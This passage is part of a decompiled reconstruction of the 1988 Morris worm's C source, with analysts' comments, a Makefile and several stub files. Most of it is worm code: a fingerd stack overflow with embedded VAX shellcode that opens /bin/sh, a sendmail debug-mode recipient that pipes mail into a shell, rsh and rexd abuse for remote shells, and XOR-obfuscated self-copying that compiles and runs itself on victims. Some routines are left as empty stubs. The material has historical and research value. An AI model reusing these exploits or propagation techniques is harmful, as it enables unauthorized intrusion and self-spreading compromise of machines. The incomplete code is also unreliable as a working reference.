    
    sin_size = sizeof(sin);
    alarm(2*60);
    l8 = accept(arg4, &sin, &sin_size);
    alarm(0);
    
    if (l8 < 0)
	goto quit;				/* 1144 */
    if (xread(l8, &l16, sizeof(l16), 10) != 4)
	goto quit;
    l16 = ntohl(l16);
    if (key != l16)
	goto quit;
    for (i = 0; i < nobjects; i++) {	/* 164,432 */
	obj = &objects[i];
	l16 = htonl(obj->size);
	write(l8, &l16, sizeof(l16));
	sprintf(files[i], XS("x%d,%s"),
		(random()&0x00ffffff), obj->name);
	write(l8, files[i], sizeof(files[0]));
	xorbuf(obj->buf, obj->size);
	l24 = write(l8, obj->buf, obj->size);
	xorbuf(obj->buf, obj->size);
	if (l24 != obj->size)
	    goto quit;
    }
    
    /* Get rid of my client's key, and tell him the list has ended. */
    l16 = -1;
    if (write(l8, &l16, sizeof(l16)) != 4)
	goto quit;
    
    /* Don't run up the load average too much... */
    sleep(4);
    
    if (test_connection(l8, l8, 30) == 0)
	goto quit;
    send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
    send_text(l8, XS("rm -f sh\n"));
    
    sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
	    random()&0x00ffffff);
    send_text(l8, strbuf);
    
    for (i = 0; i < nobjects; i++) {	/* 636,1040 */
	if ((l2612 = index(files[i], '.')) == NULL ||
	    l2612[1] != 'o')
	    continue;
	sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 30) == 0)
	    goto quit;				/* 1144 */
	sprintf(strbuf, XS("./$P -p $$ "));
	for(l28 = 0; l28 < nobjects; l28++) {	/* 820,892 */
	    strcat(strbuf, files[l28]);
	    strcat(strbuf, XS(" "));
	}
	strcat(strbuf, XS("\n"));
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 10) == 0) {
	    close(l8);
	    close(arg4);
	    host->flag |= 2;
	    return 1;				/* 1172 */
	}
	send_text(l8, XS("rm -f $P\n"));
    }
    
    for (i = 0; i < nobjects; i++) {	/* 1044,1122 */
	sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
	send_text(l8, strbuf);
    }
    test_connection(l8, l8, 5);
 quit:
    close(l8);
    close(l24);
    return 0;
}

/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
     struct hst host;
{     
    object *obj;
    char buf[512];				/* 516 */
    char cfile[56];				/* 568 */
    int wr_len, key;				/* might be same */
    
    obj = getobjectbyname(XS("l1.c"));
    if (obj == NULL)
	return 0;				/* 1590 */
    send_text(s, XS("cd /usr/tmp\n"));
    
    key = (random() % 0x00ffffff);
    sprintf(cfile, XS("x%d.c"), key);
    sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
    send_text(s, buf);
    
    xorbuf(obj->buf, obj->size);
    wr_len = write(s, obj->buf, obj->size);
    xorbuf(obj->buf, obj->size);
    
    if (wr_len != obj->size)
	return 0;
    send_text(s, XS("EOF\n"));
    
    sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
	    key, key, key,
	    inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
    return send_text(s, buf);
}

static send_text(fd, str)			/* 0x44c0, <waithit+1594> */
     char *str;
{
    write(fd, str, strlen(str));
}

/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str)		/* 0x44f4, <waithit+1646> */
     char *host;
     int *fdp1, *fdp2;
     char *str;
{
    int child;					/* 4 */
    int fildes[2];				/* 12 */
    int fildes1[2];				/* 20 */
    int fd;
    
    if (pipe(fildes) < 0)
	return 0;
    if (pipe(fildes1) < 0) {
	close(fildes[0]);
	close(fildes[1]);
	return 0;
    }
    
    child = fork();
    if (child < 0) {				/* 1798 */
	close(fildes[0]);
	close(fildes[1]);
	close(fildes1[0]);
	close(fildes1[1]);
	return 0;
    }
    if (child == 0) {				/* 2118 */
	for (fd = 0; fd < 32; fd++)
	    if (fd != fildes[0] &&
		fd != fildes1[1] &&
		fd != 2)
		close(fd);
	dup2(fildes[0], 0);
	dup2(fildes[1], 1);
	if (fildes[0] > 2)
	    close(fildes[0]);
	if (fildes1[1] > 2)
	    close(fildes1[1]);
	/* 'execl()' does not return if it suceeds. */
	execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
	exit(1);
    }
    close(fildes[0]);
    close(fildes1[1]);
    *fdp1 = fildes1[0];
    *fdp2 = fildes[1];
    
    if (test_connection(*fdp1, *fdp2, 30))
	return 1;				/* Sucess!!! */
    close(*fdp1);
    close(*fdp2);
    kill(child, 9);
    /* Give the child a chance to die from the signal. */
    sleep(1);
    wait3(0, WNOHANG, 0);
    return 0;
}

static test_connection(rdfd, wrfd, time)			/* x476c,<waith
it+2278> */
     int rdfd, wrfd, time;
{
    char combuf[100], numbuf[100];
    
    sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
    sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
    send_text(wrfd, combuf);
    return wait_for(rdfd, numbuf, time);
}

static wait_for(fd, str, time)			/* <waithit+2412> */
     int fd, time;
     char *str;
{
    char buf[512];
    int i, length;
    
    length = strlen(str);
    while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
	for(i = 0; buf[i]; i++) {
	    if (strncmp(str, &buf[i], length) == 0)
		return 1;
	}
    }
    return 0;
}

/* Installed as a signal handler */
justreturn(sig, code, scp)					/* 0x4872 */
     int sig, code;
     struct sigcontext *scp;
{
    alarmed = 1;
}

static x488e(fd, buf, num_chars, maxtime)
     int fd, num_chars, maxtime;
     char *buf;
{	
    
    int i, l8, readfds;
    struct timeval timeout;
    
    for (i = 0; i < num_chars; i++) {		/* 46,192 */
	readfds = 1 << fd;
	timeout.tv_usec = maxtime;
	timeout.tv_sec = 0;
	if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
	    return 0;
	if (readfds == 0)
	    return 0;
	if (read(fd, &buf[i], 1) != 1)
	    return 0;
	if (buf[i] == '\n')
	    break;
    }
    buf[i] = '\0';
    if (i > 0 && l8 > 0)
	return 1;
    return 0;
}

/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1)			/* 0x4958,<just_return+
230> */
     char *arg0, *arg1;
{
    arg1[0] = '\0';
    if (arg0 == 0)
	return 0;
    while( ! isspace(*arg0))
	arg0++;

    if (*arg0 == '\0')
        return 0;
    while(*arg0) {
	if (isspace(*arg0)) break;
	*arg1++ = *arg0++;
    }
    *arg1 = '\0';
    return arg0;
}

/* 
From Gene Spafford <spaf@perdue.edu>
What this routine does is actually kind of clever.  Keep in
mind that on a Vax the stack grows downwards.

fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack.  Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message.  Normally, when that happens
you trash the return stack frame.  However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.

This is what that routine does.  It overwrites the return frame
to point into the buffer that just got trashed.  The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh".  Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine.  Since many sites never bother to
fix fingerd to run as something other than root.....

Luckily, the code doesn't work on Suns -- it just causes it
to dump core.

--spaf

*/    

/* This routine exploits a fixed 512 byte input buffer in a VAX running
 * the BSD 4.3 fingerd binary.  It send 536 bytes (plus a newline) to
 * overwrite six extra words in the stack frame, including the return
 * PC, to point into the middle of the string sent over.  The instructions
 * in the string do the direct system call version of execve("/bin/sh"). */

static try_finger(host, fd1, fd2)		/* 0x49ec,<just_return+378 */
     struct hst *host;
     int *fd1, *fd2;
{
    int i, j, l12, l16, s;
    struct sockaddr_in sin;			/* 36 */
    char unused[492];
    int l552, l556, l560, l564, l568;
    char buf[536];				/* 1084 */
    int (*save_sighand)();			/* 1088 */

    save_sighand = signal(SIGALRM, justreturn);

    for (i = 0; i < 6; i++) {			/* 416,608 */
	if (host->o48[i] == 0)
	    continue;				/* 600 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    continue;
	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_FINGER;

	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	    alarm(0);
	    close(s);
	    continue;
	}
	alarm(0);
	break;
    }
    if (i >= 6)
	return 0;				/* 978 */
    for(i = 0; i < 536; i++)			/* 628,654 */
	buf[i] = '\0';
    for(i = 0; i < 400; i++)
	buf[i] = 1;
    for(j = 0; j < 28; j++)
	buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];		
	/* constant string x200a0 */

    /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
    /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */

    l556 = 0x7fffe9fc;				/* Rewrite part of the stack frame */
    l560 = 0x7fffe8a8;
    l564 = 0x7fffe8bc;
    l568 = 0x28000000;
    l552 = 0x0001c020;

#ifdef sun
    l556 = byte_swap(l556);			/* Reverse the word order for the */
    l560 = byte_swap(l560);			/* VAX (only Suns have to do this) */
    l564 = byte_swap(l564);
    l568 = byte_swap(l568);
    l552 = byte_swap(l552);
#endif sun

    write(s, buf, sizeof(buf));			/* sizeof == 536 */
    write(s, XS("\n"), 1);
    sleep(5);
    if (test_connection(s, s, 10)) {
	*fd1 = s;
	*fd2 = s;
	return 1;
    }
    close(s);
    return 0;
}

static byte_swap(arg)			/* 0x4c48,<just_return+982 */
     int arg;
{
    int i, j;

    i = 0;
    j = 0;
    while (j < 4) {
	i = i << 8;
	i |= (arg & 0xff);
	arg = arg >> 8;
	j++;
    }
    return i;
}

permute(ptr, num, size)			/* 0x4c9a */
     char *ptr;
     int num, size;
{
    int i, newloc;
    char buf[512];

    for (i = 0; i < num*size; i+=size) {	/* 18,158 */
	newloc = size * (random() % num);
	bcopy(ptr+i, buf, size);
	bcopy(ptr+newloc, ptr+i, size);
	bcopy(buf, ptr+newloc, size);
    }
}


/* Called from try_rsh_and_mail() */
static try_mail(host)				/* x4d3c <permute+162>*/
     struct hst *host;
{
    int i, l8, l12, l16, s;
    struct sockaddr_in sin;			/* 16 bytes */
    char l548[512];
    int (*old_handler)();
    struct sockaddr saddr;			/* Not right */
    int fd_tmp;					/* ???  part of saddr *
/
    
    if (makemagic(host, &saddr) == 0)
	return 0;				/* <permute+1054> */
    old_handler = signal(SIGALRM, justreturn);
    for( i = 0; i < 6; i++) {			/* to 430 */
	if (host->o48[i] == NULL)
	    continue;				/* to 422 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    continue;				/* to 422 */
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_SMTP;
	
	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	    alarm(0);
	    close(s);
	    continue;				/* to 422 */
	}
	alarm(0);
	break;
    }
    
    if (i < 6)
	return 0;				/* 1054 */
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
    send_text(s, XS("debug"));		/* "debug" */
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
    
    send_text(s, XS(MAIL_FROM));
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    i = (random() & 0x00FFFFFF);
    
    sprintf(l548, XS(MAIL_RCPT), i, i);
    send_text(s, l548);
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
    send_text(s, XS("data\n"));
    if (x50bc( s, l548) == 0 || l548[0] != '3')
	goto bad;
    
    send_text(s, XS("data\n"));
    
    compile_slave(host, s, saddr);
    
    send_text(s, XS("\n.\n"));
    
    if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
    }
    
    send_text(s, XS("quit\n"));
    if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
    }
    
    close(s);
    return waithit(host, saddr);
 bad:
    send_text(s, XS("quit\n"));
    x50bc(s, l548);
    close(s);
    return 0;
}

/* Used only in try_mail() above.  This fills buffer with a line of the respon
se */
static x50bc(s, buffer)				/* x50bc, <permute+1058
> */
     int s;					/* socket */
     char *buffer;
{
    /* Fill in exact code later.  It's pretty boring. */
}


/* I call this "huristic 1". It tries to breakin using the remote execution
 * service.  It is called from a subroutine of cracksome_1 with information fr
om
 * a user's .forword file.  The two name are the original username and the one
 * in the .forward file.
 */
hu1(alt_username, host, username2)		/* x5178 */
     char *alt_username, *username2;
     struct hst *host;
{
    char username[256];
    char buffer2[512];
    char local[8];
    int result, i, fd_for_sh;			/* 780, 784, 788 */
    
    if (host == me)
	return 0;				/* 530 */
    if (host->flag & HST_HOSTTWO)			/* Already tried ??? */
	return 0;
    
    if (host->o48[0] || host->hostname == NULL)
	getaddrs(host);
    if (host->o48[0] == 0) {
	host->flag |= HST_HOSTFOUR;
	return 0;
    }
    strncpy(username, username2, sizeof(username)-1);
    username[sizeof(username)-1] = '\0';
    
    if (username[0] == '\0')
	strcpy(username, alt_username);
    
    for (i = 0; username[i]; i++)
	if (ispunct(username[i]) || username[i] < ' ')
	    return 0;
    other_sleep(1);
    
    fd_for_sh = x538e(host, username, &alt_username[30]);
    if (fd_for_sh >= 0) {
	result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
    }
    if (fd_for_sh == -2)
	return 0;
    
    fd_for_sh = x538e(me, alt_username, &alt_username[30]);
    if (fd_for_sh >= 0) {
	sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
		host->hostname, username);
	send_text(fd_for_sh, buffer2);
	sleep(10);
	result = 0;
	if (test_connection(fd_for_sh, fd_for_sh, 25))	/* 508 */
	    result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
    }
    return 0;
}

/* Used in hu1.  Returns a file descriptor. */
/* It goes through the six connections in host trying to connect to the
 * remote execution server on each one.
 */
static int x538e(host, name1, name2)
     struct hst *host;
     char *name1, *name2;
{
    int s, i;
    struct sockaddr_in sin;			/* 16 bytes */
    int l6, l7;
    char in_buf[512];
    
    for (i = 0; i < 6; i++) {			/* 552,762 */
	if (host->o48[i] == 0)
	    continue;				/* 754 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    continue;
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_EXECSERVER;	/* Oh shit, looking for rexd */
	
	alarm(8);
	signal(SIGALRM, justreturn);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	    alarm(0);
	    close(s);
	    continue;
	}
	alarm(0);
	break;
    }
    if (i >= 6)
	return -2;				/* 1048 */
    /* Check out the connection by writing a null */
    if (write(s, XS(""), 1) == 1) {
	/* Tell the remote execution deamon the hostname, username, and to star
tup
	   "/bin/sh". */
	write(s, name1, strlen(name1) + 1);
	write(s, name2, strlen(name2) + 1);
	if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
	    xread(s, in_buf, 1, 20) == 1  &&
	    in_buf[0] == '\0' &&
	    test_connection(s, s, 40) != 0)
	    return s;
    }
    close(s);
    return -1;
}

/* Reads in a file and puts it in the 'objects' array.  Returns 1 if sucessful
,
 * 0 if not. */
loadobject(obj_name)				/* x5594 */
     char *obj_name;
{
    int fd;
    unsigned long size;
    struct stat statbuf;
    char *object_buf, *suffix;
    char local[4];
    
    fd = open(obj_name, O_RDONLY);
    if (fd < 0)
	return 0;				/* 378 */
    if (fstat(fd, &statbuf) < 0) {
	close(fd);
	return 0;
    }
    size = statbuf.st_size;
    object_buf = malloc(size);
    if (object_buf == 0) {
	close(fd);
	return 0;
    }
    if (read(fd, object_buf, size) != size) {
	free(object_buf);
	close(fd);
	return 0;
    }
    close(fd);
    xorbuf(object_buf, size);
    suffix = index(obj_name, ',');
    if (suffix != NULL)
	suffix+=1;
    else
	suffix = obj_name;
    objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
    objects[nobjects].size = size;
    objects[nobjects].buf = object_buf;
    nobjects += 1;
    return 1;
}

/* Returns the object from the 'objects' array that has name, otherwise NULL. 
*/
object *getobjectbyname(name)
     char *name;
{
    int i;

    
    for (i = 0; i < nobjects; i++)
	if (strcmp(name, objects[i].name) == 0)
	    return &objects[i];
    return NULL;
}

/* Encodes and decodes the binary coming over the socket. */
xorbuf(buf, size)				/* 0x577e */
     char *buf;
     unsigned long size;
{
    char *addr_self;			/* The address of the xorbuf fuction */
    int i;
    
    addr_self = (char *)xorbuf;
    i = 0; 
    while (size-- > 0) {
	*buf++ ^= addr_self[i];
	i = (i+1) % 10;
    }
    return;
}


static other_fd = -1;

/* Make a connection to the local machine and see if I'm running in
   another process by sending a magic number on a random port and waiting
   five minutes for a reply. */
checkother()					/* 0x57d0 */
{
    int s, l8, l12, l16, optval;
    struct sockaddr_in sin;			/* 16 bytes */
    
    optval = 1;
    if ((random() % 7) == 3)
	return;					/* 612 */
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return;
    
    /* Make a socket to the localhost, using a link-time specific port */
    bzero(&sin, sizeof(sin));		/* 16 */
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
    sin.sin_port = 0x00005b3d;			/* ??? */
    
    if (connect(s, &sin, sizeof(sin)) < 0) {
	close(s);
    } else {
	l8 = MAGIC_2;			/* Magic number??? */
	if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
	    close(s);
	    return;
	}
	l8 = 0;
	if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
	    close(s);
	    return;
	}
	if (l8 != MAGIC_1) {
	    close(s);
	    return;
	}
	
	l12 = random()/8;
	if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
	    close(s);
	    return;
	}
	
	if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
	    close(s);
	    return;
	}
	
	if (!((l12+l16) % 2))
	    pleasequit++;
	close(s);
    }
    sleep(5);
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return;
    
    /* Set the socket so that the address may be reused */
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
    if (bind(s, &sin, sizeof(sin)) < 0) {
	close(s);
	return;
    }
    listen(s, 10);
    
    other_fd = s;
    return;
}

/* Sleep, waiting for another worm to contact me. */
other_sleep(how_long)				/* 0x5a38 */
{
    int nfds, readmask;
    long time1, time2;
    struct timeval timeout;
    
    if (other_fd < 0) {
	if (how_long != 0)
	    sleep(how_long);
	return;
    }
    /* Check once again.. */
    do {
	if (other_fd < 0)
	    return;
	readmask = 1 << other_fd;
	if (how_long < 0)
	    how_long = 0;
	
	timeout.tv_sec = how_long;
	timeout.tv_usec = 0;
	
	if (how_long != 0)
	    time(&time1);
	nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
	if (nfds < 0)
	    sleep(1);
	if (readmask != 0)
	    answer_other();
	if (how_long != 0) {
	    time(&time2);
	    how_long -= time2 - time1;
	}
    } while (how_long > 0);
    return;
}

static answer_other()				/* 0x5b14 */
{
    int ns, addrlen, magic_holder, magic1, magic2;
    struct sockaddr_in sin;			/* 16 bytes */
    
    addrlen = sizeof(sin);
    
    ns = accept(other_fd, &sin, &addrlen);
    
    if (ns < 0)
	return;					/* 620 */
    
    magic_holder = MAGIC_1;
    if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
) {
	close(ns);
	return;
    }
    if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
	close(ns);
	return;
    }
    if (magic_holder != MAGIC_2) {
	close(ns);
	return;
    }
    
    magic1 = random() / 8;
    if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
	close(ns);
	return;
    }
    if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
	close(ns);
	return;
    }
    close(ns);
    
    if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
	return;
    
    if (((magic1+magic2) % 2) != 0) {
	close(other_fd);
	other_fd = -1;
	pleasequit++;
    }
    return;
}

/* A timeout-based read. */
xread(fd, buf, length, time)			/* 0x5ca8 */
     int fd, time;
     char *buf;
     unsigned long length;
{
    int i, cc, readmask;
    struct timeval timeout;
    int nfds;
    long time1, time2;
    
    for (i = 0; i < length; i++) { 		/* 150 */
	readmask = 1 << fd;
	timeout.tv_sec = time;
	timeout.tv_usec = 0;
	if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
	    return 0;				/* 156 */
	if (readmask == 0)
	    return 0;
	if (read(fd, &buf[i], 1) != 1)
	    return 0;
    }
    return i;
}


/* These are some of the strings that are encyphed in the binary.  The
 * person that wrote the program probably used the Berkeley 'xstr' program
 * to extract and encypher the strings.
 */
#ifdef notdef
char environ[50] = "";
char *sh = "sh";
char *env52 = "sh";			/* 0x20034, <environ+52> */
char *env55 = "-p";
char *env58 = "l1.c";
char *env63 = "sh";
char *env66 = "/tmp/.dump";
char *env77 = "128.32.137.13";
char *env91 = "127.0.0.1";
char *env102 = "/usr/ucb/netstat -r -n";	/* 0x20066 */
char *env125 = "r";
char *env127 = "%s%s";
#endif /* notdef*/
/*
  char *text =
  "default
  0.0.0.0
  127.0.0.1
  exec /bin/sh
  l1.c
  PATH=/bin:/usr/bin:/usr/ucb
  cd /usr/tmp
  x%d.c
  echo gorch49;sed '/int zz;/q' > %s;echo gorch50
  gorch49
  int zz;
  gorch50
  cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
  DONE
  x%d,%s
  PATH=/bin:/usr/bin:/usr/ucb
  rm -f sh
  if [ -f sh ]
  then
  P=x%d
  else
  P=sh
  cc -o $P %s
  ./$P -p $$ 
  rm -f $P
  rm -f %s $P
  l1.c
  cd /usr/tmp
  x%d.c
  cat > %s <<'EOF'
  cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
  /usr/ucb/rsh
  /usr/bin/rsh
  /bin/rsh
  /bin/echo %s
  debug
  mail from:</dev/null>
  rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
  data
  quit
  quit
  exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
  /bin/sh
  /bin/sh
  127.0.0.1
  127.0.0.1
  /etc/hosts.equiv
  %.100s
  /.rhosts
  %.200s/.forward
  %.20s%.20s
  %[^ ,]
  %*s %[^ ,]s
  %.200s/.forward
  %.200s/.rhosts
  %s%s
  /usr/dict/words";
  */

/*
 * Local variables:
 * compile-command: "cc -S hs.c"
 * comment-column: 48
 * End:
 */
<--------- EOF --------->

<--------- MAKEFILE --------->
C_FILES = worm.c net.c hs.c cracksome.c stubs.c
H_FILES = worm.h

OFILES = worm.o net.o hs.o cracksome.o stubs.o

# Luckily, the original used no optimization
CFLAGS =
# Most sites will have to remove the "-D" -- send for our souped-up version
# of ctags becker@trantor.harris-atd.com

TAGS_FLAGS = -xDt

test: $(OFILES)
	$(CC) -o test $(OFILES)
$(OFILES): worm.h

clean:
	rm -f *.o *~ *.bak
tags:
	ctags -xDt > tags
tar:
	tar -cf foo.tar  description Makefile $(C_FILES) $(H_FILES) x8113550.c
<--------- EOF --------->

<--------- NET.C --------->
/* dover */

#include "worm.h"
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>

/* This is the second of five source files linked together to form the '.o'
 * file distributed with the worm.
 */

if_init()			/* 0x254c, check again */
{
    struct ifconf if_conf;
    struct ifreq if_buffer[12];
    int  s, i, num_ifs, j;
    char local[48];
    
    nifs = 0;
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return 0;				/* if_init+1042 */
    if_conf.ifc_req = if_buffer;
    if_conf.ifc_len = sizeof(if_buffer);
    
    if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
	close(s);
	return 0;				/* if_init+1042 */
    }
    
    num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
    for(i = 0; i < num_ifs; i++) {		/* if_init+144 */
	for (j = 0; j < nifs; j++)
	    /* Oops, look again.  This line needs verified. */
	    if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
		break;
    }
    
}	

/* Yes all of these are in the include file, but why bother?  Everyone knows
   netmasks, and they will never change... */
def_netmask(net_addr)				/* 0x2962 */
     int net_addr;
{
    if ((net_addr & 0x80000000) == 0)
	return 0xFF000000;
    if ((net_addr & 0xC0000000) == 0xC0000000)
	return 0xFFFF0000;
    return 0xFFFFFF00;
}

netmaskfor(addr)				/* 0x29aa */
     int addr;
{
    int i, mask;
    
    mask = def_netmask(addr);
    for (i = 0; i < nifs; i++)
	if ((addr & mask) == (ifs[i].if_l16 & mask))
	    return ifs[i].if_l24;
    return mask;
}

rt_init()					/* 0x2a26 */
{
    FILE *pipe;
    char input_buf[64];
    int	 l204, l304;
    
    ngateways = 0;
    pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
   						 /* &env102,&env 125 */
    if (pipe == 0)
	return 0;
    while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
	other_sleep(0);
	if (ngateways >= 500)
	    break;
	sscanf(input_buf, XS("%s%s"), l204, l304);	/* <env+127>"%s%s" */
	/* other stuff, I'll come back to this later */
	
	
    }						/* 518, back to 76 */
    pclose(pipe);
    rt_init_plus_544();
    return 1;
}						/* 540 */

static rt_init_plus_544()				/* 0x2c44 */
{
}

getaddrs()					/* 0x2e1a */
{
}

struct bar *a2in(a)		/* 0x2f4a, needs to be fixed */
     int a;
{
    static struct bar local;
    local.baz = a;
    return &local;
}

/* End of source file in original. */

/*
 * Local variables:
 * compile-command: "cc -S net.c"
 * comment-column: 48
 * End:
 */
<--------- EOF --------->

<--------- STUBS.C --------->
/* dover */

/*  The version of crypt() used in the worm program has the same tables as
 * Berkeley's 4.3 crypt(), but uses different code.  Since I don't know where
 * we put our 4.2 tape I can't check it against that code to find the exact
 * source.  I assume that it just a regualar crypt() routine with several
 * interior functions declared static, perhaps tuned somewhat for speed on the
 * VAX and Sun.
 */
crypt()
{ }
    
/* These might not be copyrighted, but I'm not taking the chance.  They are
   obvious. */
h_addr2host()
{}
h_name2host()
{}

/*
 * Local variables:
 * compile-command: "make test"
 * comment-column: 48
 * End:
 */
<--------- EOF --------->        

<--------- WORM.C --------->
/* dover */

#include "worm.h"
#include <stdio.h>
#include <signal.h>
#include <strings.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

extern errno;
extern char *malloc();

int pleasequit;					/* See worm.h */
int nobjects = 0;
int nextw;
char *null_auth;

object objects[69];				/* Don't know how many... */

object *getobjectbyname();

char *XS();

main(argc, argv)		/* 0x20a0 */
     int argc;
     char **argv;
{
    int i, l8, pid_arg, j, cur_arg, unused;
    long key;			/* -28(fp) */
    struct rlimit rl;
    
    l8 = 0;					/* Unused */
    
    strcpy(argv[0], XS("sh"));			/* <env+52> */
    time(&key);
    srandom(key);
    rl.rlim_cur = 0;
    rl.rlim_max = 0;
    if (setrlimit(RLIMIT_CORE, &rl))
	;
    signal(SIGPIPE, SIG_IGN);
    pid_arg = 0;
    cur_arg = 1;
    if  (argc > 2 &&
	 strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
	pid_arg = atoi(argv[2]);
	cur_arg += 2;
    }
    for(i = cur_arg; i < argc; i++) {	/* otherwise <main+286> */
	if (loadobject(argv[i]) == 0)
	    exit(1);
	if (pid_arg)
	    unlink(argv[i]);
    }
    if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
	exit(1);
    if (pid_arg) {
	for(i = 0; i < 32; i++)
	    close(i);
	unlink(argv[0]);
	unlink(XS("sh"));			/* <env+63> */
	unlink(XS("/tmp/.dumb"));		/* <env+66>"/tmp/.dumb"
 */
    }
    
    for (i = 1; i < argc; i++)
	for (j = 0;	argv[i][j]; j++)
	    argv[i][j] = '\0';
    if (if_init() == 0)
	exit(1);
    if (pid_arg) {					/* main+600 */
	if (pid_arg == getpgrp(getpid()))
	    setpgrp(getpid(), getpid());
	kill(pid_arg, 9);
    }
    mainloop();
}

static mainloop()				/* 0x2302 */
{
    long key, time1, time0;
    
    time(&key);
    srandom(key);
    time0 = key;
    if (hg() == 0 && hl() == 0)
	ha();
    checkother();
    report_breakin();
    cracksome();
    other_sleep(30);
    while (1) {
	/* Crack some passwords */
	cracksome();
	/* Change my process id */
	if (fork() > 0)
	    exit(0);
